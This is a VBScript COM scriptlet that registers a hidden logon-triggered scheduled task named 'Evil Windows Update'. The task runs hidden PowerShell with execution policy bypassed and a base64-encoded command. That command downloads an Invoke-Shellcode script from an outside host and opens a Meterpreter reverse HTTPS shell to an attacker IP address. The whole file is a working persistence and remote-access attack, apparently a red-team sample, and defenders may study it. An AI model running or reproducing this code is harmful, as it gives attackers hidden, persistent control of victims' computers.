<?XML version="1.0"?>
<scriptlet>
<registration 
    progid="Lucode"
    classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
	<script language="VBScript">
		<![CDATA[

Const TASK_TRIGGER_LOGON = 9
Const TASK_ACTION_EXEC = 0
const TASK_LOGON_INTERACTIVE_TOKEN = 3
Const TASK_INSTANCES_STOP_EXISTING = 3
Const TASK_CREATE_OR_UPDATE = 6

Dim service
Set service = CreateObject( "Schedule.Service" )
call service.Connect()

Dim rootFolder
Set rootFolder = service.GetFolder( "\" )

Dim taskDefinition
Set taskDefinition = service.NewTask(0)

Dim taskDomain, taskUser, taskDomainAndUser
taskDomain = service.ConnectedDomain
taskUser = service.ConnectedUser

taskDomainAndUser = taskDomain & "\" & taskUser

taskDefinition.Principal.UserId = taskDomainAndUser
taskDefinition.Principal.LogonType = TASK_LOGON_INTERACTIVE_TOKEN

Dim regInfo
Set regInfo = taskDefinition.RegistrationInfo
regInfo.Author = taskDomainAndUser
regInfo.Description = "Evil Windows Update"

Dim settings
Set settings = taskDefinition.Settings
settings.Hidden = True
settings.Enabled = True
settings.MultipleInstances = TASK_INSTANCES_STOP_EXISTING
settings.RunOnlyIfNetworkAvailable = True
settings.StartWhenAvailable = True

Dim triggers 
Set triggers = taskDefinition.Triggers

Dim trigger
Set trigger = triggers.Create(TASK_TRIGGER_LOGON)

Dim startTime, endTime
startTime = "2016-10-01T12:59:00"
endTime = "2017-10-01T12:59:00"

trigger.Enabled = True
trigger.StartBoundary = startTime
trigger.EndBoundary = endTime
trigger.ExecutionTimeLimit = "PT22H"
trigger.Id = "LogonTriggerId"
trigger.UserId = taskDomainAndUser
trigger.Delay = "PT20S"

Dim Action
Set Action = taskDefinition.Actions.Create(TASK_ACTION_EXEC)
Action.Path = "c:\windows\system32\cmd.exe"
Action.Arguments = " /q /c @powershell.exe -NoP -NonI -W Hidden -Exec Bypass -enc SQBFAFgAIAAoAE4AZQB3A"
Action.Arguments = Action.Arguments & "C0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbw"
Action.Arguments = Action.Arguments & "BhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AZQBsADgALgBwAHcALwBwAHMALwBDAG8"
Action.Arguments = Action.Arguments & "AZABlAEUAeABlAGMAdQB0AGkAbwBuAC8ASQBuAHYAbwBrAGUALQBTAGgAZQBsAGwAYwBvAGQAZQAu"
Action.Arguments = Action.Arguments & "AHAAcwAxACcAKQA7ACAASQBuAHYAbwBrAGUALQBTAGgAZQBsAGwAYwBvAGQAZQAgAC0AUABhAHkAb"
Action.Arguments = Action.Arguments & "ABvAGEAZAAgAHcAaQBuAGQAbwB3AHMALwBtAGUAdABlAHIAcAByAGUAdABlAHIALwByAGUAdgBlAH"
Action.Arguments = Action.Arguments & "IAcwBlAF8AaAB0AHQAcABzACAALQBMAGgAbwBzAHQAIAA2ADUALgAxADEAMgAuADIAMgAxAC4AMwA"
Action.Arguments = Action.Arguments & "1ACAALQBMAHAAbwByAHQAIAA0ADQAMwAgAC0ARgBvAHIAYwBlAA=="

call rootFolder.RegisterTaskDefinition("Evil Windows Update", taskDefinition, TASK_CREATE_OR_UPDATE, Empty, Empty, TASK_LOGON_INTERACTIVE_TOKEN)

		]]>
</script>
</registration>
</scriptlet>

